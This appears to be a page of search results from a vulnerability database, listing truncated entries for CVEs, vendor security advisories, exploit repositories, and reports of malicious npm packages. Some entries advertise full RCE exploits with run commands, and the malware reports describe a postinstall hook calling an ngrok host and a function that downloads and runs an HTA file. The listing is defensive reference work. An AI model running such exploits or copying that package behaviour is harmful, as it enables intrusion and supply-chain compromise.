Lucene search
+L

15778 matches found

Kitploit
Kitploit
added 2026/08/31 11:40 a.m.4 views

CrafterCMS-CVE-2025-6384

CrafterCMS Authenticated RCE - Groovy Sandbox Bypass CVE-2025-6384 إثبات مفهوم لثغرة تنفيذ الأوامر عن بُعد RCE مصادق عليها في CrafterCMS. ملخص الثغرة يمكن للمستخدم المصادق الذي لديه صلاحيات مطور تجاوز صندوق الحماية الخاص بنصوص Groovy في Crafter Studio لتحقيق تنفيذ الأوامر عن بُعد RCE. يفشل صندوق...

9.1CVSS5.8AI score0.00852EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/31 11:32 a.m.2 views

CVE-2025-55182_full_exploit

CVE-2025-55182fullexploit يحتوي هذا المستودع على استغلال كامل لثغرة CVE-2025-55182 مع RCE خطوات تشغيل الاستغلال 1. تثبيت التبعيات pip install -r requirements.txt 2. تشغيل الاستغلال python3 exploit.py targetlist.txt "command"...

10CVSS7AI score0.99802EPSS
SaveExploits389
Kitploit
Kitploit
added 2026/08/31 7:23 a.m.3 views

pwnfest2016

pwnfest2016 استغلال كامل لـ cve-2016-9651 المستخدم في pwnfest2016، الشرائح والنص الكامل لـ syscan360 2017...

8.8CVSS7.2AI score0.11182EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/08/31 6:32 a.m.4 views

CVE-2025-2783

Chromium CVE-2025-2783 : Évasion de bac à sable et exploitation RCE en chaîne complète Ce dépôt contient une implémentation d'exploitation en chaîne complète pour CVE-2025-2783. La vulnérabilité réside dans la couche de communication Ipcz de Chromium, permettant à un attaquant de réaliser une...

8.3CVSS7.3AI score0.09238EPSS
SaveExploits7References1
CVE
CVE
added 2026/08/31 6:28 a.m.35 views

CVE-2026-58574

Dell PowerStore is affected by a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with network access to the restricted management interface can read internal system information from the appliance filesystem. This may expose sensitive information and credent...

9.8CVSS5.9AI score0.00336EPSS
SaveExploits0References1
Kitploit
Kitploit
added 2026/08/31 6:11 a.m.2 views

CVE-2025-55182-analysis

تحليل تقني لـ CVE-2025-55182: رحلتي البحثية ⚠️ إخلاء مسؤولية مهم توثّق هذه الوثيقة عملية بحثي الشخصية في CVE-2025-55182، بما في ذلك النتائج المؤكدة والتجارب التي أجريتها. وهي تمثّل سردًا صادقًا لتحقيقي، بما في ذلك الافتراضات الخاطئة الأولية والاختراق النهائي. الملخص التنفيذي بعد تحقيق موسّع في...

10CVSS7AI score0.99802EPSS
SaveExploits389
Kitploit
Kitploit
added 2026/08/31 4:33 a.m.3 views

CVE-2025-42957-SAP-S-4HANA-Under-Siege

CVE-2025-42957-SAP-S-4HANA-Under-Siege 1 – क्या हुआ? अगस्त 2025 में, SAP के प्रमुख ERP प्लेटफ़ॉर्म S/4HANA में एक RFC-सक्षम फ़ंक्शन मॉड्यूल में कमज़ोरी पाई गई। केवल निम्न-विशेषाधिकार low-privileged पहुँच वाले हमलावर उस मॉड्यूल में मनमाना ABAP कोड इंजेक्ट कर सकते हैं, सामान्य प्राधिकरण जाँचों को...

9.9CVSS7.5AI score0.01589EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/08/31 3:54 a.m.3 views

CVE-2026-48908

🚨 CVE-2026-48908 — Full Server Compromise via Arbitrary File Upload Critical Unauthenticated File Upload → Remote Code Execution RCE A critical vulnerability in SP Page Builder allows unauthenticated attackers to upload arbitrary files and achieve Remote Code Execution RCE , potentially leading t...

10CVSS7.4AI score0.14824EPSS
SaveExploits8
OSV
OSV
added 2026/08/31 3:01 a.m.10 views

MAL-2026-15602 Malicious code in redis-cookie-server (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 01c94026a508b2ada8c891551c8ccd622f86c2ba2e7b6a7c181fc3eb538e2f1f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

5.9AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/31 3:01 a.m.12 views

Malicious code in eslint-prettier-js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 657c75af75154da75ac5073b9dcea65c04bdb3f493f3a72d79f1847df90bf449 The package's postinstall hook runs index.cjs's onInstall, which performs await fetch"https://2939e69fc408.ngrok-free.app/stats" and passes the...

6.3AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/31 3:01 a.m.12 views

Malicious code in redis-cookie-server (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 01c94026a508b2ada8c891551c8ccd622f86c2ba2e7b6a7c181fc3eb538e2f1f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

5.9AI score
SaveExploits0References2
OSV
OSV
added 2026/08/31 3:01 a.m.8 views

MAL-2026-15601 Malicious code in eslint-prettier-js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 657c75af75154da75ac5073b9dcea65c04bdb3f493f3a72d79f1847df90bf449 The package's postinstall hook runs index.cjs's onInstall, which performs await fetch"https://2939e69fc408.ngrok-free.app/stats" and passes the...

6.3AI score
SaveExploits0References2
RedHat Linux
RedHat Linux
added 2026/08/31 2:24 a.m.17 views

Important: Red Hat Security Advisory: mingw-sqlite security update

An update for mingw-sqlite is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability...

8.5CVSS7.4AI score0.00175EPSS
SaveExploits0References2
Tenable Nessus
Tenable Nessus
added 2026/08/31 12:00 a.m.11 views

AlmaLinux 8 : mingw-sqlite (ALSA-2026:61242)

The remote AlmaLinux 8 host has packages installed that are affected by a vulnerability as referenced in the ALSA-2026:61242 advisory. sqlite: SQLite: Arbitrary code execution via crafted FTS5 full-text search data CVE-2026-11822 Tenable has extracted the preceding description block directly from...

8.5CVSS7.4AI score0.00175EPSS
SaveExploits0References3
AlmaLinux
AlmaLinux
added 2026/08/31 12:00 a.m.7 views

Important: mingw-sqlite security update

SQLite is a C library that implements an SQL database engine. A large subset of SQL92 is supported. A complete database is stored in a single disk file. The API is designed for convenience and ease of use. Applications that link against SQLite can enjoy the power and flexibility of an SQL databas...

8.5CVSS7.4AI score0.00175EPSS
SaveExploits0References4
OSV
OSV
added 2026/08/31 12:00 a.m.5 views

ALSA-2026:61242 Important: mingw-sqlite security update

SQLite is a C library that implements an SQL database engine. A large subset of SQL92 is supported. A complete database is stored in a single disk file. The API is designed for convenience and ease of use. Applications that link against SQLite can enjoy the power and flexibility of an SQL databas...

8.5CVSS7.4AI score0.00175EPSS
SaveExploits0References4
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/30 4:35 p.m.10 views

Malicious code in real-browser-plus (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 276e32a0246539a0495937fdf1967c9f2c778d4e902f14bc921148e4edbb0648 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

5.9AI score
SaveExploits0References2
OSV
OSV
added 2026/08/30 4:35 p.m.12 views

MAL-2026-15587 Malicious code in real-browser-plus (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 276e32a0246539a0495937fdf1967c9f2c778d4e902f14bc921148e4edbb0648 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

5.9AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/30 4:33 p.m.14 views

Malicious code in originaldevelopmentstelemetry (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 60940a80ca72863b54a3cc8f1cc7da49be77b38e9111d4cb77cfc1417671f399 The package is advertised as a telemetry utility but its sole exported function, downloadAndRunClient, downloads updater.hta from...

6.3AI score
SaveExploits0References3
OSV
OSV
added 2026/08/30 4:33 p.m.12 views

MAL-2026-15586 Malicious code in originaldevelopmentstelemetry (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 60940a80ca72863b54a3cc8f1cc7da49be77b38e9111d4cb77cfc1417671f399 The package is advertised as a telemetry utility but its sole exported function, downloadAndRunClient, downloads updater.hta from...

6.3AI score
SaveExploits0References3
Rows per page
Query Builder